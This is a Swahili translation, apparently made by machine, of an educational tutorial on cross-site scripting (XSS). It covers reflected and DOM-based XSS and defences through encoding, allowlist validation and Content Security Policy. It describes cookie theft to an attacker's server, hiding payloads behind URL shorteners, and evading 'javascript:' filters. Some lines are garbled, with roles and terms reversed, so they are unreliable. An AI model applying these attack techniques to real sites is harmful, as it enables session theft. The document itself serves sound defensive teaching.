Lengo la shambulio la XSS daima ni kufanya hasidi Hati ya JavaScript katika kivinjari cha mwathirika. Kuna njia kadhaa za kimsingi za kufikia lengo hili. Mashambulizi ya XSS mara nyingi hugawanywa katika aina tatu:

• Imehifadhiwa (inayoendelea) XSS, ambapo kamba hasidi inatoka kwenye hifadhidata ya tovuti.
• Imeakisiwa (isiyoendelea) XSS, ambapo kamba hasidi inatolewa kutokana na ombi la mwathiriwa.
• XSS DOMs, ambapo athari hutokea katika msimbo wa upande wa mteja badala ya msimbo wa upande wa seva.

Mfano uliopita unaonyesha shambulio la XSS lililohifadhiwa. Sasa tutaelezea aina nyingine mbili za mashambulizi ya XSS: mashambulizi ya XSS na DOM XSS yaliyoakisiwa.

XSS iliyoakisiwa

Katika shambulio la XSS lililoakisiwa, kamba hasidi ni sehemu ya ombi la mwathiriwa kwa tovuti. Tovuti inakubali na kuingiza kamba hii hasidi kwenye jibu lililorejeshwa kwa mtumiaji. Mchoro hapa chini unaonyesha hali hii:

Mwathiriwa humlaghai mshambuliaji kutuma ombi la URL kwenye tovuti.

Tovuti inajumuisha kamba hasidi kutoka kwa ombi la URL katika jibu kwa mwathirika.

Kivinjari cha mwathiriwa hutekeleza hati hasidi iliyomo kwenye jibu, na kutuma vidakuzi vya mwathiriwa kwa seva ya mshambulizi.

Jinsi ya kutekeleza shambulio la XSS lililoonyeshwa kwa mafanikio?

Shambulio la XSS lililoakisiwa linaweza kuonekana kuwa lisilo na madhara kwa sababu linahitaji mwathiriwa kutuma ombi kwa niaba yake ambalo lina kamba hasidi. Kwa kuwa hakuna mtu ambaye angejishambulia kwa hiari, inaonekana hakuna njia ya kutekeleza shambulio hilo.

Kama ni zamu nje, kuna angalau Njia mbili za kawaida za kudanganya mwathirika kuzindua shambulio la XSS dhidi yao wenyewe ni:

• Ikiwa mtumiaji ni mtu mahususi, mshambuliaji anaweza kutuma URL hasidi kwa mwathiriwa (kwa mfano, kupitia barua pepe au mjumbe wa papo hapo), na kumdanganya afungue kiungo cha kutembelea tovuti.
• Ikiwa lengo ni kundi kubwa watumiaji, mshambulizi anaweza kuchapisha kiungo kwa URL hasidi (kwa mfano, kwenye tovuti yake mwenyewe au mtandao wa kijamii) na subiri wageni kufuata kiunga.

Mbinu hizi zote mbili zinafanana, na zote mbili zinaweza kufaulu zaidi kwa kutumia huduma za ufupishaji za URL ambazo zitafunika kamba hasidi kutoka kwa watumiaji ambao wanaweza kuitambua.

XSS kwenye DOM

XSS katika DOM ni lahaja ya mashambulizi ya XSS yaliyohifadhiwa na yaliyoakisiwa. Katika shambulio hili la XSS, mfuatano hasidi hauchakatwa na kivinjari cha mwathiriwa hadi JavaScript halisi ya tovuti itekelezwe. Mchoro hapa chini unaonyesha hali hii ya shambulio la XSS lililoonyeshwa:

Mshambulizi huunda URL iliyo na kamba hasidi na kuituma kwa mwathiriwa.

Mwathiriwa humlaghai mshambuliaji kutuma ombi la URL kwenye tovuti.

Tovuti inakubali ombi, lakini haijumuishi kamba hasidi katika jibu.

Kivinjari cha mwathirika hufanya hati halali yaliyomo katika majibu, na kusababisha hati hasidi itaingizwa kwenye ukurasa.

Kivinjari cha mwathiriwa hutekeleza hati hasidi iliyoingizwa kwenye ukurasa, kutuma vidakuzi vya mwathiriwa kwa seva ya mshambulizi.

Kuna tofauti gani kati ya XSS kwenye DOM?

Katika mifano ya awali ya mashambulizi ya XSS yaliyohifadhiwa na kuakisiwa, seva huingiza hati hasidi kwenye ukurasa, ambayo hutumwa kama jibu kwa mwathiriwa. Kivinjari cha mwathiriwa kinapopokea jibu, huchukulia kuwa hati hasidi ni sehemu ya maudhui halali ya ukurasa na huitekeleza kiotomatiki ukurasa unapopakia, kama hati nyingine yoyote.

Katika mfano wa shambulio la XSS katika DOM, hati hasidi haijaingizwa kama sehemu ya ukurasa; hati pekee ambayo inatekelezwa kiotomatiki wakati ukurasa unapakia ni sehemu halali ya ukurasa. Shida ni kwamba hati hii halali hutumia moja kwa moja ingizo la mtumiaji kuongeza HTML kwenye ukurasa. Kwa kuwa mfuatano hasidi umeingizwa kwenye ukurasa kwa kutumia innerHTML , huchanganuliwa kama HTML, na kusababisha hati hasidi kutekelezwa.

Tofauti hii ni ndogo, lakini muhimu sana:

• Katika XSS ya jadi, JavaScript hasidi inatekelezwa ukurasa unapopakiwa, kama sehemu ya HTML iliyotumwa na seva.
• Kwa upande wa XSS katika DOM, JavaScript hasidi inatekelezwa baada ya ukurasa kupakiwa, na kusababisha ukurasa halali wa JavaScript kufikia ingizo la mtumiaji (lililo na mfuatano hasidi) kwa njia isiyo salama.

XSS inafanya kazi vipi katika DOM?

Hakuna haja ya JavaScript katika mfano uliopita; seva inaweza kutoa HTML zote peke yake. Iwapo msimbo wa upande wa seva haukuwa na athari, tovuti haingeweza kuathiriwa na athari ya XSS.

Walakini, kadiri programu za wavuti zinavyoendelea zaidi, zote kiasi kikubwa Kurasa za HTML zinatolewa kwa kutumia JavaScript kwenye upande wa mteja, sio kwenye seva. Wakati wowote maudhui yanapaswa kubadilika bila kuonyesha upya ukurasa mzima, hii inawezekana na kwa kutumia JavaScript. Hasa, hii ndio kesi wakati ukurasa unasasishwa baada ya ombi la AJAX.

Hii ina maana kwamba udhaifu wa XSS unaweza kuwepo sio tu katika msimbo wa upande wa seva wa tovuti yako, lakini pia kwenye msimbo wa JavaScript wa upande wa mteja wa tovuti yako. Kwa hivyo, hata ikiwa na msimbo salama kabisa wa upande wa seva, msimbo wa mteja bado unaweza usijumuishe ingizo la mtumiaji kwa usalama wakati wa kusasisha DOM baada ya ukurasa kupakiwa. Hili likitokea, msimbo wa upande wa mteja utaruhusu shambulio la XSS kutokea bila kosa la msimbo wa upande wa seva.

XSS ya DOM inaweza isionekane kwa seva

Ipo kesi maalum XSS hushambulia kwenye DOM, ambapo mfuatano hasidi hautumwi kwa seva ya tovuti: hii hutokea wakati mfuatano hasidi upo katika sehemu ya kitambulisho cha URL (chochote baada ya alama #). Vivinjari hazitumi sehemu hii ya URL kwa seva, kwa hivyo tovuti haiwezi kuipata kwa kutumia msimbo wa upande wa seva. Nambari ya upande wa mteja, hata hivyo, ina ufikiaji wake, na kwa hivyo inawezekana kufanya shambulio la XSS kupitia usindikaji usio salama.

Kesi hii sio tu kwa kipande cha ID. Kuna ingizo lingine la mtumiaji ambalo halionekani kwa seva, kama vile vipengele vipya vya HTML5 kama vile LocalStorage na IndexedDB.

Sehemu ya tatu:
Mbinu za Kuzuia za XSS za Kuzuia

Kumbuka kwamba XSS ni shambulio la sindano ya msimbo: ingizo la mtumiaji linafasiriwa kimakosa kuwa ni hasidi. msimbo wa programu. Ili kuzuia aina hii ya sindano ya msimbo, utunzaji salama wa pembejeo unahitajika. Kwa msanidi wa wavuti, kuna mbili kimsingi njia tofauti fanya usindikaji salama wa pembejeo:

• Usimbaji ni njia inayomruhusu mtumiaji kuingiza data kama data pekee na hairuhusu kivinjari kuichakata kama msimbo.
• Uthibitishaji ni njia ya kuchuja ingizo la mtumiaji ili kivinjari kiifasiri kama msimbo bila amri hasidi.

Ingawa hizi ni njia tofauti za kuzuia XSS, zina kadhaa vipengele vya kawaida ambayo ni muhimu kuelewa wakati wa kutumia yoyote kati yao:

Muktadha Ushughulikiaji wa ingizo salama lazima ufanywe kwa njia tofauti kulingana na mahali kwenye ukurasa ingizo la mtumiaji linatumika. ndani/nje Usindikaji salama wa pembejeo unaweza kufanywa ama tovuti yako inapopokea pembejeo ( trafiki inayoingia) au kabla ya tovuti kuingiza ingizo la mtumiaji kwenye maudhui ya ukurasa (yanayotoka). Uchakataji wa ingizo la Mteja/Seva Salama unaweza kufanywa kwa upande wa mteja au upande wa seva, kila chaguo likihitajika chini ya hali tofauti.

Kabla ya kueleza kwa undani jinsi coding na uthibitishaji hufanya kazi, tutaelezea kila moja ya pointi hizi.

Kushughulikia ingizo la mtumiaji katika miktadha

Kuna miktadha mingi kwenye ukurasa wa wavuti ambapo ingizo la mtumiaji linaweza kutumika. Kwa kila mojawapo, sheria maalum lazima zifuatwe ili kuhakikisha kuwa ingizo la mtumiaji haliwezi kuepuka muktadha wake na haliwezi kufasiriwa kama msimbo hasidi. Ifuatayo ni miktadha ya kawaida zaidi:

Kwa nini muktadha ni muhimu?

Katika miktadha yote iliyoelezwa, athari ya XSS inaweza kutokea ikiwa ingizo la mtumiaji liliwekwa kabla ya usimbaji au uthibitishaji wa kwanza. Mshambulizi anaweza kuingiza msimbo hasidi kwa kuweka kikomo cha kufunga kwa muktadha huu na kufuatiwa na msimbo hasidi.

Kwa mfano, ikiwa wakati fulani tovuti inahusisha uingizaji wa mtumiaji moja kwa moja kwenye HTML sifa, mshambulizi ataweza kuingiza hati mbaya kwa kuanza ingizo lake na nukuu, kama inavyoonyeshwa hapa chini:

Hii inaweza kuzuiwa kwa kuondoa tu nukuu zote kwenye ingizo la mtumiaji na kila kitu kitakuwa sawa, lakini katika muktadha huu tu. Ikiwa ingizo liliingizwa katika muktadha tofauti, kikomo cha kufunga kitakuwa tofauti na sindano itawezekana. Kwa sababu hii, utunzaji salama wa ingizo unapaswa kulengwa kulingana na muktadha ambapo ingizo la mtumiaji litawekwa.

Inashughulikia ingizo la mtumiaji anayeingia/anayetoka

Kwa asili, inaweza kuonekana kuwa XSS inaweza kuzuiwa kwa kusimba au kuhalalisha ingizo zote za mtumiaji mara tu tovuti yetu inapoipokea. Kwa njia hii, mifuatano yoyote hasidi tayari itaondolewa wakati wowote inapojumuishwa kwenye ukurasa, na hati za kutengeneza HTML hazitakuwa na wasiwasi kuhusu kushughulikia ingizo la mtumiaji kwa usalama.

Shida ni kwamba, kama ilivyoelezewa hapo awali, ingizo la mtumiaji linaweza kuingizwa katika miktadha mingi kwenye ukurasa. Na hapana njia rahisi bainisha wakati ingizo la mtumiaji linafika katika muktadha - jinsi litakavyowekwa hatimaye, na ingizo sawa la mtumiaji mara nyingi linahitaji kuingizwa katika miktadha tofauti. Kwa kutegemea kuchakata pembejeo zinazoingia ili kuzuia XSS, tunaunda suluhisho gumu sana ambalo litakuwa na makosa. ("nukuu za uchawi" za PHP ni mfano wa suluhisho kama hilo.)

Badala yake, usindikaji wa pembejeo unaotoka unapaswa kuwa njia yako ya msingi ya ulinzi dhidi ya XSS kwa sababu inaweza kuzingatia muktadha maalum wa kile ingizo la mtumiaji litawekwa. Kwa kiasi fulani, uthibitishaji wa ndani unaweza kutumika kuongeza safu ya pili ya usalama, lakini zaidi juu ya hilo baadaye.

Je, inawezekana wapi kushughulikia ingizo la mtumiaji kwa usalama?

Katika walio wengi maombi ya kisasa ya mtandao, ingizo la mtumiaji linachakatwa kwa upande wa msimbo wa seva na upande wa msimbo wa mteja. Ili kulinda dhidi ya aina zote za XSS, utunzaji salama wa ingizo lazima ufanywe kwa upande wa seva na msimbo wa upande wa mteja.

• Ili kulinda dhidi ya XSS ya kitamaduni, utunzaji salama wa ingizo lazima ufanywe kwa msimbo wa upande wa seva. Hii inafanywa kwa kutumia lugha fulani inayoungwa mkono na seva.
• Ili kulinda dhidi ya shambulio la XSS katika DOM, ambapo seva haipokei mfuatano hasidi (kama vile shambulio la vipande vya vitambulisho vilivyoelezwa hapo awali), utunzaji salama wa ingizo lazima ufanywe katika msimbo wa upande wa mteja. Hii inafanywa kwa kutumia JavaScript.

Sasa kwa kuwa tumeelezea kwa nini muktadha ni muhimu, kwa nini tofauti kati ya usindikaji wa pembejeo zinazoingia na zinazotoka ni muhimu. muhimu, na kwa nini usindikaji salama wa pembejeo lazima ufanyike kwa pande zote mbili, upande wa mteja na upande wa seva, tunaweza kuendelea kueleza jinsi aina mbili za usindikaji salama wa ingizo (usimbaji na uthibitishaji) zinafanywa kweli.

Kuweka msimbo

Kuweka msimbo ni njia ya kutoka katika hali ambapo ni muhimu kwa kivinjari kutafsiri ingizo la mtumiaji kama data tu, na sio msimbo. Aina maarufu zaidi ya usimbaji katika ukuzaji wa wavuti ni masking ya HTML, ambayo hubadilisha herufi kama vile< и >V< и >kwa mtiririko huo.

Msimbo wa upendeleo ufuatao ni mfano wa jinsi ingizo la mtumiaji (ingizo la mtumiaji) linaweza kusimba kwa kutumia ufichaji wa HTML na kisha kuingizwa kwenye ukurasa kwa kutumia hati ya upande wa seva:

chapisha ""
chapisha "Maoni ya mwisho:"
chapisha msimboHtml(userInput)
chapisha ""

Ikiwa mtumiaji anaingia mstari unaofuata..., HTML inayotokana itaonekana kama hii:

Maoni ya mwisho:
...

Kwa sababu herufi zote zenye maana maalum zimeepukwa, kivinjari hakitachanganua sehemu yoyote ya ingizo la mtumiaji kama vile HTML.

Mteja wa kusimba na msimbo wa upande wa seva

Wakati wa kutekeleza usimbaji wa upande wa mteja, JavaScript hutumiwa kila wakati, ambayo ina vitendaji vilivyojumuishwa ndani ambavyo husimba data kwa miktadha tofauti.

Unapoweka usimbaji katika msimbo wa upande wa seva, unategemea vipengele vinavyopatikana katika lugha au mfumo wako. Kwa sababu ya kiasi kikubwa lugha na mifumo inayopatikana, mafunzo haya hayatashughulikia maelezo ya usimbaji katika lugha au mfumo wowote wa seva. Walakini, vitendaji vya usimbaji vya JavaScript vinavyotumiwa kwa upande wa mteja pia hutumiwa wakati wa kuandika msimbo wa upande wa seva.

Uwekaji misimbo wa upande wa mteja

Wakati wa kusimba ingizo la mtumiaji wa upande wa mteja kwa kutumia JavaScript, kuna mbinu na sifa kadhaa zilizojengewa ndani ambazo husimba data zote kiotomatiki kwa mtindo unaozingatia muktadha:

Muktadha wa mwisho ambao tayari umetajwa hapo juu (thamani katika JavaScript) haujajumuishwa kwenye orodha hii kwa sababu JavaScript haitoi njia iliyojengewa ndani ya data ya usimbaji ambayo itajumuishwa chanzo JavaScript.

Mapungufu ya Usimbaji

Hata wakati wa kuweka msimbo, inawezekana kutumia kamba hasidi katika miktadha fulani. Mfano wa kushangaza hapa ndipo ingizo la mtumiaji linatumika kutoa URL, kama vile katika mfano ulio hapa chini:

document.querySelector("a").href = userInput

Ingawa thamani iliyobainishwa katika kipengele cha href ya kipengele huisimba kiotomatiki ili isiwe chochote zaidi ya thamani ya sifa, hii yenyewe haimzuii mshambuliaji kuingiza URL inayoanza na "javascript:". Kiungo kinapobofya, bila kujali ujenzi, JavaScript iliyopachikwa ndani ya URL itatekelezwa.

Uwekaji usimbaji pia si suluhisho faafu unapotaka watumiaji waweze kutumia baadhi ya msimbo wa HTML kwenye ukurasa. Mfano unaweza kuwa ukurasa wa wasifu wa mtumiaji ambapo mtumiaji anaweza kutumia HTML maalum. Ikiwa HTML hii tupu imesimbwa, ukurasa wa wasifu utaweza tu kuwa na maandishi wazi.

Katika hali kama hizi, kuweka msimbo lazima kukamilishwe na uthibitishaji, ambao tutaangalia baadaye.

Uthibitishaji

Uthibitishaji ni kitendo cha kuchuja ingizo la mtumiaji ili sehemu zake zote hasidi ziondolewe, bila kulazimika kuondoa msimbo wote ndani yake. Mojawapo ya aina zinazotumiwa sana za uthibitishaji katika ukuzaji wa wavuti hukuruhusu kutumia baadhi ya vipengele vya HTML (kwa mfano, na ) huku ukizima vingine (kwa mfano, ).

Kuna ukaguzi wa tabia kuu mbili, ambazo hutofautiana katika utekelezaji wao:

Mkakati wa Uainishaji Ingizo la mtumiaji linaweza kuainishwa kwa kutumia orodha zisizoruhusiwa au orodha zilizoidhinishwa. Matokeo ya Uthibitishaji Ingizo la mtumiaji lililotambuliwa kama hasidi linaweza kukataliwa au kusafishwa.

Mkakati wa Uainishaji Orodha Nyeusi

Kwa asili, inaonekana inafaa kufanya ukaguzi kwa kufafanua muundo uliokatazwa ambao haupaswi kuonekana katika uingizaji wa mtumiaji. Ikiwa mstari unalingana na muundo huu, umetiwa alama kuwa si sahihi. Kwa mfano, kuruhusu watumiaji kuwasilisha URL maalum na itifaki yoyote, kwa isipokuwa javascript:. Mkakati huu wa uainishaji unaitwa orodha nyeusi.

Walakini, orodha nyeusi ina shida kuu mbili:

Ugumu wa kuelezea kwa usahihi seti ya mifuatano yote yenye nia mbaya kwa kawaida ni kazi ngumu sana. Sera ya mfano iliyoelezwa hapo juu haiwezi kutekelezwa kwa ufanisi na utafutaji rahisi kwa kifungu kidogo cha "javascript", kwa sababu itakosa kamba kama "Javascript:" (ambapo herufi ya kwanza iko herufi kubwa) na "javascript:" (ambapo herufi ya kwanza imesimbwa kama rejeleo la herufi nambari). Kuacha Kutumika Hata kama orodha kamili iliyoidhinishwa ingetengenezwa, haitakuwa na maana ikiwa kipengele kipya kilichoongezwa kwenye kivinjari kinaweza kutumika kushambulia. Kwa mfano, ikiwa orodha isiyoruhusiwa ya uthibitishaji wa HTML iliundwa kabla ya sifa ya onmousewheel kuletwa katika HTML5, haitaweza kumzuia mshambulizi kutumia sifa hii kutekeleza shambulio la XSS. Hasara hii ni muhimu hasa katika maendeleo ya wavuti, ambayo yanajumuisha teknolojia nyingi tofauti ambazo zinasasishwa mara kwa mara.

Kwa sababu ya mapungufu haya, uorodheshaji marufuku umekatishwa tamaa kama mkakati wa uainishaji. Kuidhinisha kwa ujumla ni njia salama zaidi, ambayo tutaielezea ijayo.

Orodha nyeupe

Orodha nyeupe kimsingi ni kinyume cha orodha iliyoidhinishwa: badala ya kubainisha muundo uliokatazwa, mbinu ya orodha iliyoidhinishwa inabainisha muundo unaoruhusiwa na kuashiria ingizo kama batili ikiwa hailingani kiolezo hiki.

Tofauti na orodha zisizoruhusiwa, mfano wa orodha zilizoidhinishwa itakuwa kuruhusu watumiaji kuwasilisha URL maalum zilizo na http: na https: itifaki pekee, hakuna zaidi. Mbinu hii inaweza kuruhusu URL kuwekewa alama kiotomatiki kuwa batili ikiwa ina javascript: itifaki, hata ikiwa inawakilishwa kama "Javascript:" au "javascript:".

Ikilinganishwa na orodha nyeusi, walioidhinishwa wana faida mbili kuu:

Urahisi wa kuelezea kwa usahihi seti masharti salama, kwa kawaida ni rahisi zaidi kuliko kutambua seti ya mifuatano yote hasidi. Hii inatumika hasa katika hali za jumla ambapo ingizo la mtumiaji lazima lijumuishe seti ndogo sana utendakazi inapatikana kwenye kivinjari. Kwa mfano, orodha iliyoidhinishwa iliyoelezewa hapo juu inakuruhusu kutumia URL zilizoruhusiwa pekee itifaki za http: au https:, na katika hali nyingi hii inatosha kwa watumiaji. Kudumu Tofauti na orodha iliyoidhinishwa, orodha iliyoidhinishwa kwa kawaida haitumiwi wakati kipengele kipya kinapoongezwa kwenye kivinjari. Kwa mfano, uthibitishaji wa orodha iliyoidhinishwa ya HTML huruhusu tu sifa za mada za vipengele vya HTML kusalia salama, hata kama (orodha iliyoidhinishwa) iliundwa kabla ya kuanzishwa kwa sifa ya HTML5 onmousewheel.

Matokeo ya uthibitishaji

Wakati ingizo la mtumiaji limetiwa alama kuwa si sahihi (lililokatazwa), moja ya hatua mbili zinaweza kuchukuliwa:

Kukataa pembejeo kunakataliwa tu, na kuizuia kutumiwa mahali pengine kwenye tovuti. Kusafisha sehemu zote batili za data ya ingizo huondolewa na ingizo lililosalia linatumika kwenye tovuti kama kawaida.

Kati ya hizi mbili, kupotoka ndio njia rahisi zaidi ya kutekeleza. Lakini disinfection inaaminika kuwa ya manufaa zaidi kwa sababu hutoa zaidi mbalimbali ingizo la mtumiaji. Kwa mfano, ikiwa mtumiaji atawasilisha nambari ya kadi ya mkopo, usafishaji utaondoa herufi zote zisizo na alama na kuzuia kudunga msimbo, na pia kumruhusu mtumiaji kuingiza nambari kwa kutumia au bila vistari.

Ikiwa unaamua kutekeleza disinfection, unahitaji kuhakikisha kuwa utaratibu wa disinfection yenyewe hautumii njia ya orodha nyeusi. Kwa mfano, URL "Javascript:...", hata ikitambuliwa kwa kutumia orodha iliyoidhinishwa kama batili, itapokea utaratibu wa kukwepa wa usafi ambao huondoa tu matukio yote ya "javascript:". Kwa sababu hii, maktaba na mifumo iliyojaribiwa vizuri inapaswa kutumia usafi wa mazingira kila inapowezekana.

Ni njia gani zinapaswa kutumika kwa kuzuia?

Usimbaji unapaswa kuwa safu yako ya kwanza ya ulinzi dhidi ya mashambulizi ya XSS, madhumuni yake ni kuchakata data kwa njia ambayo kivinjari hakiwezi kutafsiri ingizo la mtumiaji kama msimbo. Katika baadhi ya matukio, usimbaji lazima ukamilishwe na uthibitishaji. Usimbaji na uthibitishaji lazima utumike kwa trafiki inayotoka kwa sababu ni hapo tu ndipo unaweza kujua ni katika muktadha gani ingizo la mtumiaji litatumika na ni usimbaji na uthibitishaji gani unahitaji kutumika.

Kama njia ya pili ya utetezi, unapaswa kutumia utakaso wa data inayoingia au kukataliwa kwa ingizo lisilo sahihi la mtumiaji, kama vile viungo, kwa kutumia javascript: itifaki. Hii peke yake haiwezi kutoa usalama kamili, lakini ni tahadhari muhimu ikiwa hatua yoyote katika ulinzi wa usimbaji na uthibitishaji inaweza kushindwa kwa sababu ya utekelezaji usio sahihi.

Ikiwa njia hizi mbili za ulinzi zitatumika mara kwa mara, tovuti yako italindwa dhidi ya mashambulizi ya XSS. Hata hivyo, kutokana na ugumu wa kuunda na kudumisha tovuti, kutoa usalama kamili kwa kutumia tu usindikaji salama wa uingizaji wa mtumiaji inaweza kuwa vigumu. Kama njia ya tatu ya utetezi, unapaswa kutumia Sera za Usalama wa Maudhui ( Kiingereza Usalama wa Maudhui Sera), kisha CSP, ambayo tutaelezea hapa chini.

Sera za Usalama wa Maudhui (CSP)

Kutumia ushughulikiaji salama wa ingizo la mtumiaji ili kulinda dhidi ya mashambulizi ya XSS haitoshi kwa sababu hata kosa moja la usalama linaweza kuathiri tovuti yako. Kupitisha Sera za Usalama wa Maudhui (CSPs) kutoka kwa kiwango kipya cha wavuti kunaweza kupunguza hatari hii.

CSP hutumiwa kuzuia matumizi ya kivinjari ya ukurasa wa wavuti ili iweze kutumia rasilimali zilizopakuliwa kutoka kwa vyanzo vinavyoaminika. A rasilimali ni hati, laha za mtindo, picha, au aina nyingine ya faili ambayo inarejelewa kwenye ukurasa. Hii ina maana kwamba hata kama mshambuliaji ataweza kuingiza maudhui hasidi kwenye tovuti yako, CSP itaweza kuizuia isitekelezwe.

CSP inaweza kutumika kutekeleza sheria zifuatazo:

Kupiga Marufuku Vyanzo Visivyotegemewa rasilimali za nje inaweza tu kupakuliwa kutoka kwa seti ya vyanzo vilivyofafanuliwa wazi, vinavyoaminika. Kwa kutoruhusu rasilimali zilizopachikwa, JavaScript ndani ya mstari na CSS hazitazingatiwa. Kulemaza eval kunakataza matumizi ya kitendakazi cha eval katika JavaScript.

CSP inafanya kazi

Katika mfano ufuatao, mshambuliaji aliweza kuingiza msimbo hasidi kwenye ukurasa wa wavuti:

Maoni ya mwisho:

Kwa sera ya CSP iliyofafanuliwa kwa usahihi, kivinjari hakiwezi kupakia na kutekeleza script.js hasidi kwa sababu http://attacker/ haijabainishwa kama. chanzo cha kuaminika. Ingawa tovuti imeshindwa kuchakata kwa uaminifu ingizo la mtumiaji kwa kesi hii Sera ya CSP ilizuia uwezekano wowote au madhara kutokea.

Hata kama mshambuliaji aliingiza msimbo ndani ya msimbo wa hati, na sio na kiungo cha faili ya nje, sera ya CSP iliyosanidiwa vizuri pia itazuia kuingiza msimbo wa JavaScript, kuzuia athari na kusababisha madhara yoyote.

Jinsi ya kuwezesha CSP?

Kwa chaguo-msingi, vivinjari havitumii CSP. Ili kuwezesha SCP kwenye tovuti yako, ni lazima kurasa ziwe na kichwa cha ziada cha HTTP: Sera ya Usalama-Maudhui. Ukurasa wowote ulio na kichwa hiki utatekeleza sera za usalama wakati unapakiwa na kivinjari, mradi kivinjari kinatumia CSP.

Kwa sababu sera ya usalama hutumwa kwa kila jibu la HTTP, inawezekana kwa seva kuweka sera kibinafsi kwa kila ukurasa. Sera hiyo hiyo inaweza kutumika kwa tovuti nzima kwa kuingiza kichwa sawa cha CSP katika kila jibu.

Thamani katika kichwa cha Sera ya Usalama-Yaliyomo ina mfuatano unaofafanua sera moja au zaidi za usalama ambazo zitatumika kwenye tovuti yako. Sintaksia ya mstari huu itaelezwa hapa chini.

Mifano ya vichwa katika sehemu hii hutumia vikatika mstari na viangama kwa urahisi wa marejeleo; hazipaswi kuonekana katika kichwa halisi.

Sintaksia ya CSP

Sintaksia ya kichwa cha CSP ni kama ifuatavyo:

Content-Security-Sera:
maelekezo chanzo-maneno, chanzo-maneno, ...;
maelekezo ...;
...

Sintaksia hii ina vipengele viwili:

• Maagizo ni mifuatano inayoonyesha aina ya rasilimali iliyochukuliwa kutoka kwenye orodha fulani.
• Misemo ya chanzo ni miundo inayoelezea seva moja au zaidi ambazo rasilimali zinaweza kupakiwa.

Kwa kila maagizo, data katika usemi wa chanzo hubainisha ni vyanzo vipi vinaweza kutumika kupakia rasilimali za aina inayolingana.

Maelekezo

Maagizo yafuatayo yanaweza kutumika katika kichwa cha CSP:

• kuunganisha-src
• font-src
• sura-src
• img-src
• media-src
• kitu-src
• hati-src
• mtindo-src

Kwa kuongezea hii, maagizo maalum ya-src yanaweza kutumika kutoa dhamana chaguo-msingi kwa maagizo yote ambayo hayakujumuishwa kwenye kichwa.

Usemi wa chanzo

Syntax ya kuunda usemi wa chanzo ni kama ifuatavyo:

itifaki:// jina la mwenyeji: nambari ya bandari

Jina la mpangishaji linaweza kuanza na *, kumaanisha kuwa kikoa kidogo chochote cha jina la mpangishi lililotolewa kitatatuliwa. Vile vile, nambari ya mlango inaweza kuwakilishwa kama *, ambayo ina maana kwamba milango yote itaruhusiwa. Zaidi ya hayo, itifaki na nambari ya mlango inaweza kuachwa. Ikiwa hakuna itifaki iliyobainishwa, sera itahitaji kuwa rasilimali zote zipakiwe kwa kutumia HTTPS.

Mbali na sintaksia hapo juu, usemi wa chanzo unaweza kuwa mojawapo ya nne maneno muhimu yenye maana maalum (nukuu zimejumuishwa):

"hakuna" huzima rasilimali. "binafsi" inaruhusu rasilimali kutoka kwa seva pangishi ambayo ukurasa wa wavuti unapatikana. "unsafe-inline" hutatua rasilimali zilizomo kwenye ukurasa kama vipengee vya ndani, vipengee na javascript: URLs. "unsafe-eval" huwezesha kazi ya JavaScript eval .

Tafadhali kumbuka kuwa wakati wowote CSP inapotumiwa, rasilimali zilizojengewa ndani na eval huzimwa kiotomatiki kwa chaguo-msingi. Kutumia "inline isiyo salama" na "eval-isiyo salama" - njia pekee kwa matumizi yao.

Sera ya Mfano

Content-Security-Sera:
script-src "self" scripts.example.com;
media‑src "hakuna";
img-src *;
default‑src "binafsi" http://*.example.com

Kwa mfano wa sera hii, ukurasa wa wavuti utakuwa na vizuizi vifuatavyo:

• Hati zinaweza tu kupakuliwa kutoka kwa seva pangishi ambapo ukurasa wa wavuti unapatikana na kutoka kwa anwani hii: scripts.example.com.
• Faili za sauti na video haziruhusiwi kupakua.
• Faili za picha zinaweza kupakuliwa kutoka kwa anwani yoyote.
• Nyenzo zingine zote zinaweza tu kupakiwa kutoka kwa seva pangishi ambapo ukurasa wa wavuti unapatikana na kutoka kwa kikoa chochote cha example.com.

Hali ya CSP

Kuanzia Juni 2013, Sera za Usalama wa Maudhui zinapendekezwa na muungano wa W3C. CSP inatekelezwa na watengenezaji wa kivinjari, lakini baadhi ya sehemu zake ni maalum kwa vivinjari. vivinjari tofauti. Kwa mfano, matumizi ya vichwa vya HTTP yanaweza kutofautiana kati ya vivinjari. Kabla ya kutumia CSP, angalia hati za vivinjari unavyopanga kuunga mkono.

Muhtasari wa Muhtasari: Muhtasari wa XSS

• Shambulio la XSS ni shambulio la sindano ya msimbo linalowezekana kwa usindikaji usio salama wa ingizo la mtumiaji.
• Shambulio lililofaulu la XSS huruhusu mshambuliaji kutekeleza JavaScript hasidi katika kivinjari cha mwathiriwa.
• Shambulio la XSS lenye mafanikio linahatarisha usalama wa tovuti na watumiaji wake.

Muhtasari: Mashambulizi ya XSS

• Kuna aina tatu kuu za mashambulizi ya XSS:
  • XSS iliyohifadhiwa, ambapo ingizo hasidi hutoka kwenye hifadhidata ya tovuti.
  • XSS iliyoakisiwa, ambapo ingizo hasidi hutoka kwa ombi la mwathiriwa.
  • Mashambulizi ya XSS katika DOM, ambapo uwezekano wa kuathiriwa unatumiwa kwa msimbo kwa upande wa mteja, na si kwa upande wa seva.
• Mashambulizi haya yote yanafanywa tofauti, lakini yana athari sawa ikiwa yamefanikiwa.

Muhtasari: Kuzuia XSS

• Wengi njia muhimu kuzuia mashambulizi ya XSS ni kufanya usindikaji salama wa ingizo.
  • Usimbaji lazima ufanywe wakati wowote ingizo la mtumiaji limewashwa kwenye ukurasa.
  • Katika baadhi ya matukio, usimbaji lazima ubadilishwe au kuongezwa kwa uthibitishaji.
  • Ushughulikiaji salama wa ingizo lazima uzingatie ni muktadha wa ukurasa gani ingizo la mtumiaji linaingizwa.
  • Ili kuzuia aina zote za mashambulizi ya XSS, usindikaji salama wa ingizo lazima ufanywe kwa upande wa mteja na msimbo wa upande wa seva.
• Sera za Usalama wa Maudhui (CSP) zinahakikisha ngazi ya ziada ulinzi ikiwa usindikaji salama wa ingizo una hitilafu.

Istilahi ya Nyongeza

Ikumbukwe kwamba kuna msalaba katika istilahi inayotumika kuelezea XSS: shambulio la XSS katika DOM linaweza kuhifadhiwa au kuonyeshwa; Hizi sio aina tofauti za mashambulizi. Hakuna istilahi inayokubalika kwa ujumla ambayo inashughulikia aina zote za XSS bila mkanganyiko. Bila kujali istilahi inayotumiwa kuelezea XSS, jambo muhimu zaidi ni kuamua aina ya shambulio, hii inawezekana ikiwa unajua wapi ingizo mbaya linatoka na mahali ambapo mazingira magumu iko.

Haki za matumizi na viungo

Nambari ya chanzo cha XSS ya ziada inapatikana kwenye GitHub.

XSS ya ziada iliundwa mwaka wa 2013 kama sehemu ya kozi ya Usalama inayotegemea Lugha katika Chuo Kikuu cha Teknolojia cha Chalmers.

